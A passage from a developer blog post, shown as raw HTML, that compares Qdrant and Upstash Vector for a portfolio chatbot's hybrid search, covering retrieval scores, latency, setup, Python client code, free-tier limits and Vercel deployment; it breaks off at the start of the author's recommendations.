&lt;tr&gt;
&lt;td&gt;Free-tier catch&lt;/td&gt;
&lt;td&gt;Suspended after 1 idle week, deleted after 4&lt;/td&gt;
&lt;td&gt;Every written or deleted vector is a request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python client&lt;/td&gt;
&lt;td&gt;gRPC and HTTP&lt;/td&gt;
&lt;td&gt;Plain HTTP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Here's each row in detail.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Search quality: identical
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Search mode&lt;/th&gt;
&lt;th&gt;Qdrant&lt;/th&gt;
&lt;th&gt;Upstash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hybrid, RRF (the chatbot's choice)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.84 / 0.97 / 1.00 / 0.900&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.84 / 0.97 / 1.00 / 0.900&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hybrid, DBSF&lt;/td&gt;
&lt;td&gt;0.87 / 0.95 / 0.97 / 0.914&lt;/td&gt;
&lt;td&gt;0.87 / 0.95 / 0.97 / 0.914&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Meaning only (dense)&lt;/td&gt;
&lt;td&gt;0.76 / 0.89 / 0.97 / 0.842&lt;/td&gt;
&lt;td&gt;0.76 / 0.89 / 0.97 / 0.842&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keywords only (BM25)&lt;/td&gt;
&lt;td&gt;0.79 / 0.92 / 0.92 / 0.851&lt;/td&gt;
&lt;td&gt;0.79 / 0.92 / 0.92 / 0.851&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;hit@1 / hit@3 / hit@5 / MRR over 38 questions.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That's not a coincidence. With a few thousand vectors, both databases compare the question against every vector: an exact search. The approximate indexes where databases really differ, like HNSW, only start at larger sizes. Qdrant doesn't even build its HNSW index until a segment holds 10 MB of vectors, about 6,500 passages at 384 dimensions. My site's vectors came to 117 KB. Upstash's own documentation, which I indexed as a stress test, came to 5,061 passages and 7.8 MB, still under the line.&lt;/p&gt;

&lt;p&gt;Same vectors, exact search, and the same fusion formula give the same results. I checked Upstash's RRF by recomputing its fused scores from the separate dense and keyword lists: it's 1 / (60 + rank), with ranks counted from 0, matching to nine decimal places. That's exactly what Qdrant does with k = 60.&lt;/p&gt;

&lt;p&gt;So search quality came from the pipeline, not the database. What made the difference:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hybrid search.&lt;/strong&gt; Keywords alone did well on questions that reuse a page's words, then collapsed on paraphrases (hit@1 fell from 0.92 to 0.50). Meaning alone was never the best mode. RRF was the only mode that put the right page in the top 5 for all 38 questions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RRF over DBSF.&lt;/strong&gt; DBSF, the other fusion method both databases offer, won my first 26 questions (hit@1 0.96 against 0.88), but its lead came from keyword-friendly wording. On the paraphrased questions, RRF was better (0.75 against 0.67). DBSF follows whichever search is more confident, and keyword search is confidently wrong when the visitor's words differ from the page's: a question asking whether any articles had been written dropped out of DBSF's top 5 entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A clean source file.&lt;/strong&gt; When I crawled the site instead of reading its &lt;code&gt;llms-full.txt&lt;/code&gt;, hit@1 fell from 0.84 to 0.66, on both databases. The page extractor dropped the tool names from a card grid and mixed the FAQ into the About page.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  2. Speed: the database is the smallest part
&lt;/h2&gt;

&lt;p&gt;The API runs on Vercel in Washington, D.C., and both databases in AWS us-east-1 next door. These timings come from the function's own logs:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Inside Vercel&lt;/th&gt;
&lt;th&gt;Qdrant&lt;/th&gt;
&lt;th&gt;Upstash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hybrid search, warm (median)&lt;/td&gt;
&lt;td&gt;~15 ms (max 17)&lt;/td&gt;
&lt;td&gt;13 ms (max 21)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A tiny query: the health check (median / p95)&lt;/td&gt;
&lt;td&gt;4.7 / 11.3 ms&lt;/td&gt;
&lt;td&gt;3.2 / 37.0 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Embedding the question, warm&lt;/td&gt;
&lt;td&gt;~14 ms&lt;/td&gt;
&lt;td&gt;~16 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Inside either database, a search takes about a millisecond. The rest is the HTTPS round trip and 10 to 20 passages of text coming back as JSON.&lt;/p&gt;

&lt;p&gt;What a visitor feels is different, so I also measured from my laptop in Pakistan:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;From Pakistan to the US&lt;/th&gt;
&lt;th&gt;Qdrant&lt;/th&gt;
&lt;th&gt;Upstash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Search alone (median / p95)&lt;/td&gt;
&lt;td&gt;781 / 894 ms&lt;/td&gt;
&lt;td&gt;783 / 889 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Answer, first words (median, warm)&lt;/td&gt;
&lt;td&gt;1.35 s&lt;/td&gt;
&lt;td&gt;1.29 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Answer, complete (median, warm)&lt;/td&gt;
&lt;td&gt;1.57 s&lt;/td&gt;
&lt;td&gt;1.51 s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;First answer after ~20 idle minutes&lt;/td&gt;
&lt;td&gt;4.99 s&lt;/td&gt;
&lt;td&gt;4.36 s&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A search from Pakistan takes about 780 ms on both, and it's nearly all network: an empty request's round trip alone was 371 ms. In an answer, the time goes to the network and to Groq, whose speed varied from call to call: the first words left the server anywhere from 0.45 to 2.4 seconds after the request arrived.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7nv8n3oknbd6nnhgmp81.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7nv8n3oknbd6nnhgmp81.png" alt="Where the time goes in one search, to scale. From a laptop in Pakistan, a hybrid search takes 781 ms: almost all of it is two round trips to the US, and the database itself spends about 1 ms. From the API on Vercel, in the same AWS region, it takes about 15 ms, still with about 1 ms in the database; the rest is HTTPS and JSON. Upstash: 783 ms and 13 ms." width="800" height="431"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The database's share is about 1 ms either way. The rest is distance.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cold starts cost both about 3 to 4 seconds.&lt;/strong&gt; I had one sample each, so the 0.6-second gap is noise. In the Qdrant twin, I traced where it goes: about 3.3 seconds pass before my code runs at all, while Vercel boots a large function and Python imports its libraries. The fix is a smaller bundle, not a faster database.&lt;/p&gt;

&lt;p&gt;The samples are small (6 to 8 chats and 50 health checks per twin), so treat them as orders of magnitude, not a ranking. The honest summary: a tie.&lt;/p&gt;
&lt;h2&gt;
  
  
  3. Setup and local development
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Qdrant runs on your laptop.&lt;/strong&gt; One &lt;code&gt;docker compose up -d&lt;/code&gt; gives you the same version as the cloud (I pinned 1.19.2 for both) and a dashboard to browse every stored passage. Experiments were quick: a search took about 4 ms locally, collection settings changed in place with one request, and nothing counted against a quota. Moving to the cloud took two settings, the cluster URL and a key, and no code changes. The eval scored exactly the same.&lt;/p&gt;

&lt;p&gt;The cloud setup took about five minutes: sign in, a short profile form, create a free cluster, create keys. No card.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Upstash has no local version.&lt;/strong&gt; Setup is one form in its console: a name, a region, the type (Hybrid), and the dense vector's size and metric (384, cosine). Four to five minutes, no card, nothing to install or keep running. But every search during development is a round trip to the cloud (about 700 ms from Pakistan), and every re-index spends from the daily quota.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Surprise: the free plan allowed one index.&lt;/strong&gt; When I set it up, the pricing page said up to ten, but the console refused a second ("You can have at most 1 resource(s)") until I added a payment method. So development and production share one index, kept apart by namespaces (100 on the free plan). Qdrant's free tier is also one cluster, but a cluster holds any number of collections, so in practice the two end up equivalent.&lt;/p&gt;
&lt;h2&gt;
  
  
  4. The code: two ways to say the same thing
&lt;/h2&gt;

&lt;p&gt;Both &lt;code&gt;store.py&lt;/code&gt; files do the same four jobs: write the passages, remove stale ones, search, and count. Qdrant takes 70 lines, Upstash 69.&lt;/p&gt;
&lt;h3&gt;
  
  
  Creating a hybrid index
&lt;/h3&gt;

&lt;p&gt;In Qdrant, you declare both kinds of vector when you create a collection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;itshuzaifa&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;vectors_config&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dense&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;VectorParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;384&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;distance&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Distance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COSINE&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="n"&gt;sparse_vectors_config&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sparse&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SparseVectorParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modifier&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Modifier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IDF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;IDF&lt;/code&gt; modifier makes rare words count for more than common ones, which turns raw word counts into BM25 scores.&lt;/p&gt;

&lt;p&gt;In Upstash, you pick Hybrid in the console and write no code. Every vector you store then needs both parts: a hybrid index rejects one without its keyword vector.&lt;/p&gt;

&lt;h3&gt;
  
  
  Searching
&lt;/h3&gt;

&lt;p&gt;In Qdrant, a hybrid search is one query with two prefetches and a fusion step:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query_points&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;itshuzaifa&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;prefetch&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Prefetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;dense&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dense&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Prefetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sparse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sparse&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;RrfQuery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rrf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Rrf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
    &lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Upstash, it's one query that carries both vectors:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;dense&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;sparse_vector&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sparse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;top_k&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;include_metadata&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;include_data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;itshuzaifa&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;weighting_strategy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;WeightingStrategy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IDF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;fusion_algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;FusionAlgorithm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RRF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The gotchas
&lt;/h3&gt;

&lt;p&gt;Each of these gave me a wrong result before I found it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Qdrant:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RRF's k defaults to 2, not the usual 60.&lt;/strong&gt; You set it with &lt;code&gt;Rrf(k=60)&lt;/code&gt; (Qdrant 1.16 and later). Interestingly, k = 2 scored a little higher on my questions (hit@1 0.87 against 0.84, MRR 0.930 against 0.900), because a small k trusts the top of each list more. I kept 60 so both twins fused the same way. Being able to tune it at all is a point for Qdrant.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exact ties come back in random order.&lt;/strong&gt; RRF scores often tie (ranks 1 and 3 add up to the same as 3 and 1). In 11 of 38 questions, the order changed between identical searches, so one score read 0.58 on one run and 0.75 on the next. The fix is to fetch a few extra results and sort them by score, then by ID. Upstash returns ties in a fixed order, but I kept the tie-break in both, so they always pick the same passages.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Upstash:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;IDF is an option on every query.&lt;/strong&gt; Leave out &lt;code&gt;weighting_strategy=IDF&lt;/code&gt; and keyword search quietly scores raw word counts instead. There's no error.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;top_k&lt;/code&gt; is also the number of candidates fused from each side.&lt;/strong&gt; With &lt;code&gt;top_k=5&lt;/code&gt;, it fuses only the top 5 by meaning and the top 5 by keywords. That changed the top 5 for 30 of 38 questions, compared with fusing 20 from each side. Ask for 20 and keep the best 5.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Writes are indexed in the background.&lt;/strong&gt; Right after an upsert, a rewritten vector counts as both stored and pending, so the count said 77 for 76 passages. I poll &lt;code&gt;info()&lt;/code&gt; until nothing is pending, which is what Qdrant's &lt;code&gt;wait=True&lt;/code&gt; does for you.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Keeping the index in sync
&lt;/h3&gt;

&lt;p&gt;Every re-index has to remove passages from pages that were deleted or got shorter. Qdrant does it in one call, "delete everything I didn't just write":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;written&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;stale&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;must_not&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;HasIdCondition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;has_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;written&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;itshuzaifa&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;FilterSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;stale&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Upstash has no "delete all except these", so the code lists the namespace's IDs with &lt;code&gt;range&lt;/code&gt; (1,000 per page), compares, and deletes the leftovers by ID. That's where Upstash's lines go. Qdrant spends its lines creating the collection instead.&lt;/p&gt;

&lt;p&gt;One point the other way: Upstash filters on any metadata field with no setup, while Qdrant wants a payload index for each field you filter on. I created one for &lt;code&gt;type&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Free tiers: two different catches
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Qdrant Cloud&lt;/th&gt;
&lt;th&gt;Upstash Vector&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;What you get&lt;/td&gt;
&lt;td&gt;1 cluster: 1 GB RAM, 0.5 vCPU, 4 GB disk&lt;/td&gt;
&lt;td&gt;1 index, 1 GB, 100 namespaces&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Requests&lt;/td&gt;
&lt;td&gt;Not metered&lt;/td&gt;
&lt;td&gt;10,000 a day. Each written or deleted vector counts as one; a search counts as one&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;When it sits idle&lt;/td&gt;
&lt;td&gt;Suspended after 1 week, deleted after 4&lt;/td&gt;
&lt;td&gt;Nothing happens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Card needed&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read-only keys&lt;/td&gt;
&lt;td&gt;Yes, and they can be limited to one collection&lt;/td&gt;
&lt;td&gt;Yes, a read-only token&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Qdrant's catch is idleness.&lt;/strong&gt; A free cluster that nobody uses is suspended after a week and deleted after four. A portfolio chatbot can easily go quiet for that long. My fix is a Vercel Cron that calls the chatbot's health check every day, which runs a tiny query against the cluster, plus the nightly re-index. If the cluster were deleted anyway, rebuilding takes about five minutes: a new cluster, new keys, one re-index. Note that the cron keeps Qdrant awake, not the Vercel function, so it doesn't help with cold starts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Upstash's catch is write metering.&lt;/strong&gt; Every vector you upsert or delete is one request out of 10,000 a day. My nightly re-index writes 76 vectors, under 1% of that. But Upstash's own documentation, at 5,061 passages, would spend half a day's budget on every re-index, so I didn't index it there (Qdrant took it with no trouble). A large site on Upstash would need to skip unchanged passages, for example by comparing a content hash before writing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The real ceiling was neither database.&lt;/strong&gt; It's Groq's token budget, covered above: about 150 answers a day. That's why each answer reads five passages instead of the whole site.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Deploying on Vercel
&lt;/h2&gt;

&lt;p&gt;Both twins deploy as one FastAPI function on Vercel's free plan, and both are too big for its standard path. The embedding models (about 65 MB) and their runtime (onnxruntime and numpy, over 120 MB together) are the same in both. The database client is the difference:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Qdrant&lt;/th&gt;
&lt;th&gt;Upstash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Python packages Vercel installs&lt;/td&gt;
&lt;td&gt;210 MB&lt;/td&gt;
&lt;td&gt;189 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Why&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;qdrant-client&lt;/code&gt; brings gRPC&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;upstash-vector&lt;/code&gt; is plain HTTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;With the models&lt;/td&gt;
&lt;td&gt;Over the 225 MB limit&lt;/td&gt;
&lt;td&gt;~254 MB, still over&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Vercel's builder caps a standard function at 225 MB, so both need the &lt;code&gt;VERCEL_SUPPORT_LARGE_FUNCTIONS=1&lt;/code&gt; setting, which is in beta and works on the free plan.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Upstash can also embed for you.&lt;/strong&gt; It hosts &lt;code&gt;bge-small-en-v1.5&lt;/code&gt; and a BM25 model, so you can send text instead of vectors. That would drop FastEmbed, onnxruntime, and the models, about 200 MB, and with them most of the cold start. I didn't use it, because both twins had to embed with the same code. If I were building on Upstash alone, I'd try it first.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Which one I'd pick
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Pick Qdrant if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
